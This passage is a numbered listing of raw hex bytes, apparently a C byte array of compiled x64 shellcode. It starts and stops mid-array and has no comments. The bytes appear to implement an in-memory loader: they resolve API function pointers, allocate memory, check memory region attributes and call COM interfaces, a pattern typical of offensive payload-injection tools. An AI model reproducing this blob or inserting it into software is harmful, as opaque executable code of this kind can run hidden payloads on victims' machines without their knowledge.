0xff, 0xff, 0x48, 0x8b, 214 | 0x02, 0x48, 0x89, 0x88, 0x88, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x0d, 0xa8, 0xf4, 0xff, 0xff, 215 | 0x48, 0x8b, 0x02, 0x48, 0x89, 0x88, 0x90, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x0d, 0x97, 0xf4, 216 | 0xff, 0xff, 0x48, 0x8b, 0x02, 0x48, 0x89, 0x88, 0x98, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x0d, 217 | 0x86, 0xf4, 0xff, 0xff, 0x48, 0x8b, 0x02, 0x48, 0x89, 0x88, 0xa0, 0x00, 0x00, 0x00, 0x48, 218 | 0x8d, 0x0d, 0x75, 0xf4, 0xff, 0xff, 0x48, 0x8b, 0x02, 0x48, 0x89, 0x88, 0xa8, 0x00, 0x00, 219 | 0x00, 0x48, 0x8d, 0x0d, 0x64, 0xf4, 0xff, 0xff, 0x48, 0x8b, 0x02, 0x48, 0x89, 0x88, 0xb0, 220 | 0x00, 0x00, 0x00, 0x48, 0x8d, 0x0d, 0x53, 0xf4, 0xff, 0xff, 0x48, 0x8b, 0x02, 0x48, 0x89, 221 | 0x88, 0xb8, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x0d, 0x42, 0xf4, 0xff, 0xff, 0x48, 0x8b, 0x02, 222 | 0x48, 0x89, 0x88, 0xc0, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x0d, 0x55, 0x01, 0x00, 0x00, 0x48, 223 | 0x8b, 0x02, 0x48, 0x89, 0x88, 0xc8, 0x00, 0x00, 0x00, 0x48, 0x8b, 0x02, 0x48, 0x8d, 0x0d, 224 | 0x1d, 0xf4, 0xff, 0xff, 0xc7, 0x44, 0x24, 0x28, 0x00, 0x01, 0x00, 0x00, 0x48, 0x89, 0x88, 225 | 0xd0, 0x00, 0x00, 0x00, 0x4c, 0x8d, 0x87, 0xe8, 0x05, 0x00, 0x00, 0x48, 0x8b, 0x02, 0x48, 226 | 0x8d, 0x0d, 0xfd, 0xf3, 0xff, 0xff, 0x41, 0x83, 0xc9, 0xff, 0x48, 0x89, 0x88, 0xd8, 0x00, 227 | 0x00, 0x00, 0x48, 0x8d, 0x0d, 0xeb, 0xf3, 0xff, 0xff, 0x48, 0x8b, 0x02, 0x48, 0x89, 0x88, 228 | 0xe0, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x0d, 0xda, 0xf3, 0xff, 0xff, 0x48, 0x8b, 0x02, 0x48, 229 | 0x89, 0x88, 0xe8, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x44, 0x24, 0x30, 0x83, 0x62, 0x20, 0x00, 230 | 0x33, 0xc9, 0x48, 0x89, 0x7a, 0x28, 0x33, 0xd2, 0x48, 0x89, 0x44, 0x24, 0x20, 0xff, 0x57, 231 | 0x70, 0x48, 0x8d, 0x53, 0x08, 0x48, 0x8d, 0x4c, 0x24, 0x30, 0xff, 0x97, 0xf8, 0x00, 0x00, 232 | 0x00, 0x85, 0xc0, 0x75, 0x15, 0x48, 0x8b, 0x4b, 0x08, 0x4c, 0x8d, 0x43, 0x10, 0x48, 0x8d, 233 | 0x97, 0x84, 0x06, 0x00, 0x00, 0x48, 0x8b, 0x01, 0xff, 0x50, 0x30, 0x4c, 0x8d, 0x9c, 0x24, 234 | 0x40, 0x02, 0x00, 0x00, 0x49, 0x8b, 0x5b, 0x10, 0x49, 0x8b, 0x73, 0x18, 0x49, 0x8b, 0xe3, 235 | 0x5f, 0xc3, 0xcc, 0xcc, 0x4c, 0x8b, 0xc9, 0x4d, 0x85, 0xc0, 0x75, 0x06, 0xb8, 0x03, 0x40, 236 | 0x00, 0x80, 0xc3, 0x48, 0x8b, 0x49, 0x28, 0x48, 0x8b, 0x81, 0xf4, 0x05, 0x00, 0x00, 0x48, 237 | 0x3b, 0x02, 0x75, 0x0d, 0x48, 0x8b, 0x81, 0xfc, 0x05, 0x00, 0x00, 0x48, 0x3b, 0x42, 0x08, 238 | 0x74, 0x32, 0x48, 0x8b, 0x81, 0x04, 0x06, 0x00, 0x00, 0x48, 0x3b, 0x02, 0x75, 0x0d, 0x48, 239 | 0x8b, 0x81, 0x0c, 0x06, 0x00, 0x00, 0x48, 0x3b, 0x42, 0x08, 0x74, 0x19, 0x48, 0x8b, 0x81, 240 | 0x84, 0x06, 0x00, 0x00, 0x48, 0x3b, 0x02, 0x75, 0x13, 0x48, 0x8b, 0x81, 0x8c, 0x06, 0x00, 241 | 0x00, 0x48, 0x3b, 0x42, 0x08, 0x75, 0x06, 0x4d, 0x89, 0x08, 0x33, 0xc0, 0xc3, 0x49, 0x83, 242 | 0x20, 0x00, 0xb8, 0x02, 0x40, 0x00, 0x80, 0xc3, 0xcc, 0xcc, 0xcc, 0x48, 0x83, 0xec, 0x28, 243 | 0x48, 0x8b, 0x49, 0x18, 0x45, 0x33, 0xc9, 0x45, 0x33, 0xc0, 0xba, 0xfd, 0xff, 0xff, 0xff, 244 | 0x48, 0x8b, 0x01, 0xff, 0x50, 0x70, 0x33, 0xc0, 0x48, 0x83, 0xc4, 0x28, 0xc3, 0x83, 0xc8, 245 | 0xff, 0xf0, 0x0f, 0xc1, 0x41, 0x20, 0xff, 0xc8, 0xc3, 0xcc, 0x48, 0x83, 0xec, 0x28, 0x48, 246 | 0x8b, 0x41, 0x28, 0x8b, 0xca, 0xff, 0x50, 0x68, 0x33, 0xc0, 0x48, 0x83, 0xc4, 0x28, 0xc3, 247 | 0x48, 0x89, 0x5c, 0x24, 0x08, 0x57, 0x48, 0x81, 0xec, 0xa0, 0x00, 0x00, 0x00, 0x48, 0x8b, 248 | 0xfa, 0x48, 0x8d, 0x99, 0x6c, 0x04, 0x00, 0x00, 0x8a, 0x03, 0x45, 0x33, 0xc9, 0x45, 0x33, 249 | 0xc0, 0x84, 0xc0, 0x74, 0x56, 0x48, 0x8d, 0x54, 0x24, 0x20, 0x48, 0x8b, 0xcb, 0x48, 0x2b, 250 | 0xd3, 0x3c, 0x3b, 0x74, 0x1b, 0x49, 0x81, 0xf8, 0x80, 0x00, 0x00, 0x00, 0x7d, 0x12, 0x88, 251 | 0x04, 0x11, 0x41, 0xff, 0xc1, 0x48, 0xff, 0xc1, 0x49, 0xff, 0xc0, 0x8a, 0x01, 0x84, 0xc0, 252 | 0x75, 0xe1, 0x4d, 0x85, 0xc0, 0x74, 0x27, 0x49, 0x63, 0xc9, 0x48, 0x8b, 0xd7, 0x48, 0xff, 253 | 0xc1, 0x42, 0xc6, 0x44, 0x04, 0x20, 0x00, 0x48, 0x03, 0xd9, 0x48, 0x8d, 0x4c, 0x24, 0x20, 254 | 0xe8, 0x5a, 0x1a, 0x00, 0x00, 0x85, 0xc0, 0x75, 0xa5, 0xb8, 0x01, 0x00, 0x00, 0x00, 0xeb, 255 | 0x02, 0x33, 0xc0, 0x48, 0x8b, 0x9c, 0x24, 0xb0, 0x00, 0x00, 0x00, 0x48, 0x81, 0xc4, 0xa0, 256 | 0x00, 0x00, 0x00, 0x5f, 0xc3, 0x40, 0x53, 0x48, 0x83, 0xec, 0x50, 0x33, 0xdb, 0x48, 0x8b, 257 | 0xc2, 0x4c, 0x8b, 0xc9, 0x48, 0x85, 0xd2, 0x74, 0x37, 0x44, 0x8d, 0x43, 0x30, 0x48, 0x8b, 258 | 0xc8, 0x48, 0x8d, 0x54, 0x24, 0x20, 0x41, 0xff, 0x51, 0x58, 0x83, 0xf8, 0x30, 0x75, 0x22, 259 | 0x81, 0x7c, 0x24, 0x40, 0x00, 0x10, 0x00, 0x00, 0x75, 0x14, 0x81, 0x7c, 0x24, 0x48, 0x00, 260 | 0x00, 0x02, 0x00, 0x75, 0x0a, 0x83, 0x7c, 0x24, 0x44, 0x04, 0x75, 0x03, 0x8d, 0x58, 0xd1, 261 | 0x8b, 0xc3, 0xeb, 0x02, 0x33, 0xc0, 0x48, 0x83, 0xc4, 0x50, 0x5b, 0xc3, 0xcc, 0xcc, 0x48, 262 | 0x89, 0x5c, 0x24, 0x10, 0x48, 0x89, 0x6c, 0x24, 0x18, 0x56, 0x57, 0x41, 0x54, 0x41, 0x56, 263 | 0x41, 0x57, 0x48, 0x81, 0xec, 0x30, 0x02, 0x00, 0x00, 0x4c, 0x8b, 0x89, 0x50, 0x01, 0x00, 264 | 0x00, 0x33, 0xc0, 0x45, 0x33, 0xff, 0x41, 0x83, 0xcc, 0xff, 0x4d, 0x8b, 0xf0, 0x48, 0x8b, 265 | 0xea, 0x48, 0x8b, 0xf1, 0xbf, 0x00, 0x01, 0x00, 0x00, 0x4d, 0x85, 0xc9, 0x0f, 0x84, 0x03, 266 | 0x02, 0x00, 0x00, 0x48, 0x8d, 0x91, 0x24, 0x06, 0x00, 0x00, 0x48, 0x81, 0xc1, 0x14, 0x06, 267 | 0x00, 0x00, 0x41, 0xff, 0xd1, 0x85, 0xc0, 0x0f, 0x88, 0xc6, 0x01, 0x00, 0x00, 0x48, 0x8d, 268 | 0x44, 0x24, 0x30, 0x89, 0x7c, 0x24, 0x28, 0x4c, 0x8d, 0x45, 0x0c, 0x48, 0x89, 0x44, 0x24, 269 | 0x20, 0x45, 0x8b, 0xcc, 0x33, 0xd2, 0x33, 0xc9, 0xff, 0x56, 0x70, 0x49, 0x8b, 0x0e, 0x49, 270 | 0x8d, 0x5e, 0x08, 0x4c, 0x8d, 0x86, 0x34, 0x06, 0x00, 0x00, 0x4c, 0x8b, 0xcb, 0x48, 0x8d, 271 | 0x54, 0x24, 0x30, 0x48, 0x8b, 0x01, 0xff, 0x50, 0x18, 0x85, 0xc0, 0x78, 0x40, 0x48, 0x8b, 272 | 0x0b, 0x48, 0x8d, 0x94, 0x24, 0x60, 0x02, 0x00, 0x00, 0x48, 0x8b, 0x01, 0xff, 0x50, 0x50, 273 | 0x85, 0xc0, 0x0f, 0x88, 0x74, 0x01, 0x00, 0x00, 0x44, 0x39, 0xbc, 0x24, 0x60, 0x02, 0x00, 274 | 0x00, 0x74, 0x20, 0x48, 0x8b, 0x0b, 0x4d, 0x8d, 0x4e, 0x10, 0x4c, 0x8d, 0x86, 0x54, 0x06, 275 | 0x00, 0x00, 0x48, 0x8d, 0x96, 0x44, 0x06, 0x00, 0x00, 0x48, 0x8b, 0x01, 0xff, 0x50, 0x48, 276 | 0xeb, 0x03, 0x4c, 0x21, 0x3b, 0x85, 0xc0, 0x0f, 0x88, 0x42, 0x01, 0x00, 0x00, 0x49, 0x8b, 277 | 0x4e, 0x10, 0x48, 0x8b, 0x01, 0xff, 0x50, 0x50, 0x85, 0xc0, 0x0f, 0x88, 0x0e, 0x01, 0x00, 278 | 0x00, 0x48, 0x8d, 0x44, 0x24, 0x30, 0x89, 0x7c, 0x24, 0x28, 0x4c, 0x8d, 0x85, 0x0c, 0x01, 279 | 0x00, 0x00, 0x48, 0x89, 0x44, 0x24, 0x20, 0x45, 0x8b, 0xcc, 0x33, 0xd2, 0x33, 0xc9, 0xff, 280 | 0x56, 0x70, 0x48, 0x8d, 0x4c, 0x24, 0x30, 0xff, 0x96, 0xe8, 0x00, 0x00, 0x00, 0x49, 0x8b, 281 | 0x4e, 0x10, 0x4d, 0x8d, 0x4e, 0x18, 0x45, 0x33, 0xc0, 0x48, 0x8b, 0xd0, 0x48, 0x8b, 0xf8, 282 | 0x4c, 0x8b, 0x11, 0x41, 0xff, 0x52, 0x60, 0x48, 0x8b, 0xcf, 0x8b, 0xd8, 0xff, 0x96, 0xf0, 283 | 0x00, 0x00, 0x00, 0x85, 0xdb, 0x0f, 0x88, 0xb9, 0x00, 0x00, 0x00, 0x49, 0x8b, 0x4e, 0x18, 284 | 0x48, 0x8d, 0x96, 0x64, 0x06, 0x00, 0x00, 0x4d, 0x8d, 0x46, 0x20, 0x48, 0x8b, 0x01, 0xff, 285 | 0x10, 0x85, 0xc0, 0x0f, 0x88, 0x9d, 0x00, 0x00, 0x00, 0x8b, 0x85, 0x24, 0x05, 0x00, 0x00, 286 | 0x4c, 0x8d, 0x84, 0x24, 0x78, 0x02, 0x00, 0x00, 0x44, 0x21, 0xbc, 0x24, 0x7c, 0x02, 0x00, 287 | 0x00, 0xb9, 0x11, 0x00, 0x00, 0x00, 0x89, 0x84, 0x24, 0x78, 0x02, 0x00, 0x00, 0x8d, 0x51, 288 | 0xf0, 0xff, 0x96, 0xb8, 0x00, 0x00, 0x00, 0x48, 0x8b, 0xd8, 0x48, 0x85, 0xc0, 0x74, 0x6a, 289 | 0x4c, 0x8b, 0x43, 0x10, 0x33, 0xc0, 0x39, 0x85, 0x24, 0x05, 0x00, 0x00, 0x76, 0x15, 0x8a, 290 | 0x8c, 0x28, 0x28, 0x05, 0x00, 0x00, 0x42, 0x88, 0x0c, 0x00, 0xff, 0xc0, 0x3b, 0x85, 0x24, 291 | 0x05, 0x00, 0x00, 0x72, 0xeb, 0x49, 0x8b, 0x4e, 0x20, 0x4d, 0x8d, 0x46, 0x28, 0x48, 0x8b, 292 | 0xd3, 0x48, 0x8b, 0x01, 0xff, 0x90, 0x68, 0x01, 0x00, 0x00, 0x85, 0xc0, 0x48, 0x8b, 0x43, 293 | 0x10, 0x41, 0x0f, 0x94, 0xc7, 0x33, 0xd2, 0x39, 0x95, 0x24, 0x05, 0x00, 0x00, 0x76, 0x16, 294 | 0xc6, 0x84, 0x2a, 0x28, 0x05, 0x00, 0x00, 0x00, 0xc6, 0x04, 0x02, 0x00, 0xff, 0xc2, 0x3b, 295 | 0x95, 0x24, 0x05, 0x00, 0x00, 0x72, 0xea, 0x48, 0x8b, 0xcb, 0xff, 0x96, 0xd0, 0x00, 0x00, 296 | 0x00, 0x41, 0x8b, 0xc7, 0x4c, 0x8d, 0x9c, 0x24, 0x30, 0x02, 0x00, 0x00, 0x49, 0x8b, 0x5b, 297 | 0x38, 0x49, 0x8b, 0x6b, 0x40, 0x49, 0x8b, 0xe3, 0x41, 0x5f, 0x41, 0x5e, 0x41, 0x5c, 0x5f, 298 | 0x5e, 0xc3, 0x4d, 0x21, 0x3e, 0x49, 0x8d, 0x46, 0x10, 0x33, 0xd2, 0x4c, 0x8d, 0x8e, 0x54, 299 | 0x06, 0x00, 0x00, 0x48, 0x89, 0x44, 0x24, 0x20, 0x4c, 0x8d, 0x86, 0x44, 0x06, 0x00, 0x00, 300 | 0x33, 0xc9, 0xff, 0x96, 0x48, 0x01, 0x00, 0x00, 0x85, 0xc0, 0x0f, 0x89, 0x95, 0xfe, 0xff, 301 | 0xff, 0x4d, 0x21, 0x7e, 0x10, 0x33, 0xc0, 0xeb, 0xb0, 0xcc, 0x40, 0x53, 0x55, 0x56, 0x57, 302 | 0x41, 0x54, 0x41, 0x56, 0x41, 0x57, 0x48, 0x81, 0xec, 0x80, 0x01, 0x00, 0x00, 0x4c, 0x8b, 303 | 0x41, 0x28, 0x48, 0x8b, 0xd9, 0x48, 0x8b, 0x51, 0x48, 0xe8, 0xb6, 0x11, 0x00, 0x00, 0x4c, 304 | 0x8b, 0x43, 0x28, 0x48, 0x8b, 0xcb, 0x48, 0x8b, 0x53, 0x50, 0x4c, 0x8b, 0xf0, 0xe8, 0xa3, 305 | 0x11, 0x00, 0x00, 0x4c, 0x8b, 0x43, 0x28, 0x48, 0x8b, 0xcb, 0x48, 0x8b, 0x93, 0x98, 0x01, 306 | 0x00, 0x00, 0x4c, 0x8b, 0xf8, 0xe8, 0x8d, 0x11, 0x00, 0x00, 0x48, 0x8b, 0xe8, 0x4d, 0x85, 307 | 0xf6, 0x74, 0x30, 0x4d, 0x85, 0xff, 0x74, 0x2b, 0x48, 0x85, 0xc0, 0x74, 0x26, 0x8b, 0x13, 308 | 0x33, 0xc9, 0x41, 0xb8, 0x00, 0x30, 0x00, 0x00, 0x44, 0x8d, 0x49, 0x04, 0x41, 0xff, 0xd6, 309 | 0x48, 0x8b, 0xf8, 0x48, 0x85, 0xc0, 0x75, 0x22, 0x83, 0xbb, 0x30, 0x02, 0x00, 0x00, 0x02, 310 | 0x75, 0x04, 0x33, 0xc9, 0xff, 0xd5, 0x83, 0xc8, 0xff, 0x48, 0x81, 0xc4, 0x80, 0x01, 0x00, 311 | 0x00, 0x41, 0x5f, 0x41, 0x5e, 0x41, 0x5c, 0x5f, 0x5e, 0x5d, 0x5b, 0xc3, 0x44, 0x8b, 0x03, 312 | 0x48, 0x8b, 0xd3, 0x48, 0x8b, 0xcf, 0xe8, 0xb2, 0x16, 0x00, 0x00, 0x33, 0xd2, 0x48, 0x8d, 313 | 0x4c, 0x24, 0x30, 0x44, 0x8d, 0x42, 0x40, 0xe8, 0xc2, 0x16, 0x00, 0x00, 0x83, 0xbf, 0x34, 314 | 0x02, 0x00, 0x00, 0x03, 0x41, 0xbc, 0x01, 0x00, 0x00, 0x00, 0x75, 0x3b, 0x44, 0x8b, 0x0f, 315 | 0x4c, 0x8d, 0x87, 0x40, 0x02, 0x00, 0x00, 0x41, 0x81, 0xe9, 0x40, 0x02, 0x00, 0x00, 0x48, 316 | 0x8d, 0x57, 0x14, 0x48, 0x8d, 0x4f, 0x04, 0xe8, 0xa9, 0x12, 0x00, 0x00, 0x48, 0x8b, 0x57, 317 | 0x28, 0x48, 0x8d, 0x8f, 0xf0, 0x07, 0x00, 0x00, 0xe8, 0x59, 0x11, 0x00, 0x00, 0x48, 0x3b, 318 | 0x87, 0xf0, 0x08, 0x00, 0x00, 0x0f, 0x85, 0x5c, 0x02, 0x00, 0x00, 0x4c, 0x8b, 0x47, 0x28, 319 | 0x48, 0x8b, 0xcf, 0x48, 0x8b, 0x57, 0x30, 0xe8, 0xc8, 0x10, 0x00, 0x00, 0x48, 0x89, 0x47, 320 | 0x30, 0x48, 0x85, 0xc0, 0x0f, 0x84, 0x66, 0xff, 0xff, 0xff, 0x48, 0x8d, 0x9f, 0x44, 0x02, 321 | 0x00, 0x00, 0x8a, 0x03, 0x33, 0xd2, 0x84, 0xc0, 0x74, 0x37, 0x33, 0xc9, 0x3c, 0x3b, 0x74, 322 | 0x18, 0x81, 0xfa, 0x04, 0x01, 0x00, 0x00, 0x73, 0x10, 0x41, 0x03, 0xd4, 0x88, 0x44, 0x0c, 323 | 0x70, 0x8b, 0xca, 0x8a, 0x04, 0x1a, 0x84, 0xc0, 0x75, 0xe4, 0x85, 0xd2, 0x74, 0x15, 0x8d, 324 | 0x4a, 0x01, 0xc6, 0x44, 0x14, 0x70, 0x00, 0x48, 0x03, 0xd9, 0x48, 0x8d, 0x4c, 0x24, 0x70, 325 | 0xff, 0x57, 0x30, 0xeb, 0xc1, 0x41, 0x8b, 0xf4, 0x44, 0x39, 0xa7, 0x40, 0x02, 0x00, 0x00, 326 | 0x76, 0x2c, 0x4c, 0x8b, 0x47, 0x28, 0x48, 0x8b, 0xcf, 0x8b, 0xde, 0x48, 0x8b, 0x54, 0xdf, 327 | 0x30, 0xe8, 0x56, 0x10, 0x00, 0x00, 0x48, 0x89, 0x44, 0xdf, 0x30, 0x48, 0x85, 0xc0, 0x0f, 328 | 0x84, 0xcc, 0x01, 0x00, 0x00, 0x41, 0x03, 0xf4, 0x3b, 0xb7, 0x40, 0x02, 0x00, 0x00, 0x72, 329 | 0xd4, 0x8b, 0x87, 0xe4, 0x06, 0x00, 0x00, 0x83, 0xf8, 0x02, 0x75, 0x19, 0x48, 0x8b, 0xcf, 330 | 0xe8, 0x1e, 0xf2, 0xff, 0xff, 0x85, 0xc0, 0x0f, 0x84, 0xa6, 0x01, 0x00, 0x00, 0x48, 0x8b, 331 | 0x9f, 0x20, 0x09, 0x00, 0x00, 0xeb, 0x1d, 0x83, 0xf8, 0x03, 0x0f, 0x84, 0x94, 0x01, 0x00, 332 | 0x00, 0x48, 0x8d, 0x9f, 0x20, 0x09, 0x00, 0x00, 0x41, 0x3b, 0xc4, 0x74, 0x08, 0x48, 0x8b, 333 | 0x9c, 0x24, 0xc0, 0x01, 0x00, 0x00, 0x44, 0x39, 0xa7, 0x6c, 0x05, 0x00, 0x00, 0x74, 0x32, 334 | 0x48, 0x8b, 0xcf, 0xe8, 0xaf, 0xef, 0xff, 0xff, 0x85, 0xc0, 0x75, 0x0d, 0x83, 0xbf, 0x6c, 335 | 0x05, 0x00, 0x00, 0x02, 0x0f, 0x84, 0x5e, 0x01, 0x00, 0x00, 0x48, 0x8b, 0xcf, 0xe8, 0xae, 336 | 0xf0, 0xff, 0xff, 0x85, 0xc0, 0x75, 0x0d, 0x83, 0xbf, 0x6c, 0x05, 0x00, 0x00, 0x02, 0x0f, 337 | 0x84, 0x45, 0x01, 0x00, 0x00, 0x44, 0x39, 0x63, 0x08, 0x0f, 0x84, 0xd6, 0x00, 0x00, 0x00, 338 | 0x8b, 0x93, 0x24, 0x05, 0x00, 0x00, 0x33, 0xc9, 0x48, 0x81, 0xc2, 0x30, 0x05, 0x00, 0x00, 339 | 0x41, 0xb8, 0x00, 0x30, 0x00, 0x00, 0x44, 0x8d, 0x49, 0x04, 0x41, 0xff, 0xd6, 0x48, 0x8b, 340 | 0xf0, 0x48, 0x85, 0xc0, 0x0f, 0x84, 0x13, 0x01, 0x00, 0x00, 0x41, 0xb8, 0x30, 0x05, 0x00, 341 | 0x00, 0x48, 0x8b, 0xd3, 0x48, 0x8b, 0xc8, 0xe8, 0xfe, 0x14, 0x00, 0x00, 0x8b, 0x43, 0x08, 342 | 0x8d, 0x48, 0xfd, 0x83, 0xf9, 0x02, 0x76, 0x1e, 0x83, 0xf8, 0x02, 0x0f, 0x85, 0x89, 0x00, 343 | 0x00, 0x00, 0x48, 0x8d, 0x96, 0x28, 0x05, 0x00, 0x00, 0x48, 0x8d, 0x8b, 0x28, 0x05, 0x00, 344 | 0x00, 0xe8, 0x5b, 0x12, 0x00, 0x00, 0xeb, 0x71, 0x0f, 0xb7, 0xc8, 0x4c, 0x8d, 0x84, 0x24, 345 | 0xc0, 0x01, 0x00, 0x00, 0x66, 0x41, 0x2b, 0xcc, 0x48, 0x8d, 0x94, 0x24, 0xc8, 0x01, 0x00, 346 | 0x00, 0x41, 0xbe, 0x00, 0x01, 0x00, 0x00, 0x66, 0x41, 0x0b, 0xce, 0xff, 0x97, 0xa8, 0x01, 347 | 0x00, 0x00, 0x85, 0xc0, 0x0f, 0x85, 0xaa, 0x00, 0x00, 0x00, 0x0f, 0xb7, 0x4b, 0x08, 0x48, 348 | 0x8d, 0x84, 0x24, 0xd0, 0x01, 0x00, 0x00, 0x44, 0x8b, 0x83, 0x24, 0x05, 0x00, 0x00, 0x4c, 349 | 0x8d, 0x8b, 0x28, 0x05, 0x00, 0x00, 0x48, 0x89, 0x44, 0x24, 0x28, 0x48, 0x8d, 0x96, 0x28, 350 | 0x05, 0x00, 0x00, 0x8b, 0x83, 0x20, 0x05, 0x00, 0x00, 0x66, 0x41, 0x2b, 0xcc, 0x66, 0x41, 351 | 0x0b, 0xce, 0x89, 0x44, 0x24, 0x20, 0xff, 0x97, 0xb0, 0x01, 0x00, 0x00, 0x85, 0xc0, 0x75, 352 | 0x68, 0x48, 0x8b, 0xde, 0x8b, 0x0b, 0x8d, 0x41, 0xfd, 0x41, 0x3b, 0xc4, 0x76, 0x50, 0x8d, 353 | 0x41, 0xff, 0x41, 0x3b, 0xc4, 0x76, 0x15, 0x8d, 0x41, 0xfb, 0x41, 0x3b, 0xc4, 0x77, 0x4b, 354 | 0x48, 0x8b, 0xd3, 0x48, 0x8b, 0xcf, 0xe8, 0x48, 0x09, 0x00, 0x00, 0xeb, 0x3e, 0x4c, 0x8d, 355 | 0x44, 0x24, 0x30, 0x48, 0x8b, 0xd3, 0x48, 0x8b, 0xcf, 0xe8, 0x7e, 0xfa, 0xff, 0xff, 0x85, 356 | 0xc0, 0x74, 0x10, 0x4c, 0x8d, 0x44, 0x24, 0x30, 0x48, 0x8b, 0xd3, 0x48, 0x8b, 0xcf, 0xe8, 357 | 0x8e, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x54, 0x24, 0x30, 0x48, 0x8b, 0xcf, 0xe8, 0xfd, 0xf4, 358 | 0xff, 0xff, 0xeb, 0x0b, 0x48, 0x8b, 0xd3, 0x48, 0x8b, 0xcf, 0xe8, 0xac, 0x04, 0x00, 0x00, 359 | 0x8b, 0x87, 0xe4, 0x06, 0x00, 0x00, 0xbe, 0x00, 0xc0, 0x00, 0x00, 0x83, 0xe8, 0x02, 0x41, 360 | 0x3b, 0xc4, 0x77, 0x31, 0x48, 0x8b, 0x8f, 0x20, 0x09, 0x00, 0x00, 0x48, 0x85, 0xc9, 0x74, 361 | 0x25, 0x44, 0x8b, 0x87, 0x18, 0x09, 0x00, 0x00, 0x33, 0xd2, 0xe8, 0xef, 0x13, 0x00, 0x00, 362 | 0x48, 0x8b, 0x8f, 0x20, 0x09, 0x00, 0x00, 0x44, 0x8b, 0xc6, 0x33, 0xd2, 0x41, 0xff, 0xd7, 363 | 0x48, 0x83, 0xa7, 0x20, 0x09, 0x00, 0x00, 0x00, 0x44, 0x8b, 0x07, 0x33, 0xd2, 0x8b, 0x9f, 364 | 0x30, 0x02, 0x00, 0x00, 0x48, 0x8b, 0xcf, 0xe8, 0xc5, 0x13, 0x00, 0x00, 0x44, 0x8b, 0xc6, 365 | 0x33, 0xd2, 0x48, 0x8b, 0xcf, 0x41, 0xff, 0xd7, 0x83, 0xfb, 0x02, 0x75, 0x04, 0x33, 0xc9, 366 | 0xff, 0xd5, 0x33, 0xc0, 0xe9, 0xb8, 0xfc, 0xff, 0xff, 0xcc, 0xcc, 0x48, 0x89, 0x5c, 0x24, 367 | 0x08, 0x55, 0x56, 0x57, 0x41, 0x54, 0x41, 0x55, 0x41, 0x56, 0x41, 0x57, 0x48, 0x8d, 0xac, 368 | 0x24, 0xe0, 0xfd, 0xff, 0xff, 0x48, 0x81, 0xec, 0x20, 0x03, 0x00, 0x00, 0x45, 0x33, 0xed, 369 | 0x33, 0xc0, 0x83, 0x3a, 0x02, 0x0f, 0x57, 0xc0, 0x4d, 0x8b, 0xf0, 0x4c, 0x89, 0x6c, 0x24, 370 | 0x50, 0x48, 0x8b, 0xf2, 0x48, 0x89, 0x45, 0x88, 0x45, 0x8d, 0x7d, 0x01, 0x66, 0x44, 0x89, 371 | 0xad, 0x68, 0x02, 0x00, 0x00, 0x48, 0x8b, 0xd9, 0x41, 0x8b, 0xfd, 0x0f, 0x11, 0x44, 0x24, 372 | 0x78, 0x0f, 0x85, 0xf8, 0x01, 0x00, 0x00, 0x49, 0x8b, 0x48, 0x28, 0x49, 0x8d, 0x50, 0x38, 373 | 0x48, 0x8b, 0x01, 0xff, 0x90, 0x80, 0x00, 0x00, 0x00, 0x85, 0xc0, 0x0f, 0x88, 0xd6, 0x01, 374 | 0x00, 0x00, 0x49, 0x8b, 0x4e, 0x38, 0x48, 0x8d, 0x54, 0x24, 0x50, 0x48, 0x8b, 0x01, 0xff, 375 | 0x90, 0x90, 0x00, 0x00, 0x00, 0x85, 0xc0, 0x0f, 0x88, 0x8e, 0x03, 0x00, 0x00, 0x48, 0x8b, 376 | 0x4c, 0x24, 0x50, 0x4c, 0x8d, 0x44, 0x24, 0x48, 0x41, 0x8b, 0xd7, 0xff, 0x93, 0xd8, 0x00, 377 | 0x00, 0x00, 0x48, 0x8b, 0x4c, 0x24, 0x50, 0x4c, 0x8d, 0x44, 0x24, 0x44, 0x41, 0x8b, 0xd7, 378 | 0xff, 0x93, 0xe0, 0x00, 0x00, 0x00, 0x8b, 0x44, 0x24, 0x44, 0x2b, 0x44, 0x24, 0x48, 0x41, 379 | 0x03, 0xc7, 0x0f, 0x84, 0x2e, 0x01, 0x00, 0x00, 0x41, 0x8d, 0x4d, 0x0c, 0x45, 0x8b, 0xc7, 380 | 0x33, 0xd2, 0xff, 0x93, 0xc0, 0x00, 0x00, 0x00, 0x4c, 0x8d, 0x86, 0x0c, 0x04, 0x00, 0x00, 381 | 0x33, 0xd2, 0x48, 0x8b, 0xf8, 0x45, 0x38, 0x28, 0x0f, 0x84, 0xa0, 0x00, 0x00, 0x00, 0x48, 382 | 0x8d, 0x45, 0x10, 0x41, 0xbf, 0x00, 0x01, 0x00, 0x00, 0x44, 0x89, 0x7c, 0x24, 0x28, 0x41, 383 | 0x83, 0xc9, 0xff, 0x33, 0xc9, 0x48, 0x89, 0x44, 0x24, 0x20, 0xff, 0x53, 0x70, 0x48, 0x8d, 384 | 0x54, 0x24, 0x40, 0x48, 0x8d, 0x4d, 0x10, 0xff, 0x93, 0xb0, 0x00, 0x00, 0x00, 0x44, 0x8b, 385 | 0x44, 0x24, 0x40, 0xb9, 0x08, 0x20, 0x00, 0x00, 0x66, 0x89, 0x4c, 0x24, 0x60, 0x33, 0xd2, 386 | 0x41, 0x8d, 0x4d, 0x08, 0x4c, 0x8b, 0xf8, 0xff, 0x93, 0xc0, 0x00, 0x00, 0x00, 0x41, 0x8b, 387 | 0xcd, 0x89, 0x8d, 0x78, 0x02, 0x00, 0x00, 0x48, 0x89, 0x44, 0x24, 0x68, 0x44, 0x39, 0x6c, 388 | 0x24, 0x40, 0x0f, 0x86, 0x85, 0x00, 0x00, 0x00, 0x45, 0x8d, 0x65, 0x01, 0x49, 0x8b, 0x0c, 389 | 0xcf, 0xff, 0x93, 0xe8, 0x00, 0x00, 0x00, 0x48, 0x8b, 0x4c, 0x24, 0x68, 0x48, 0x8d, 0x95, 390 | 0x78, 0x02, 0x00, 0x00, 0x4c, 0x8b, 0xc0, 0xff, 0x93, 0xc8, 0x00, 0x00, 0x00, 0x8b, 0x8d, 391 | 0x78, 0x02, 0x00, 0x00, 0x41, 0x03, 0xcc, 0x89, 0x8d, 0x78, 0x02, 0x00, 0x00, 0x3b, 0x4c, 392 | 0x24, 0x40, 0x72, 0xcc, 0x45, 0x8b, 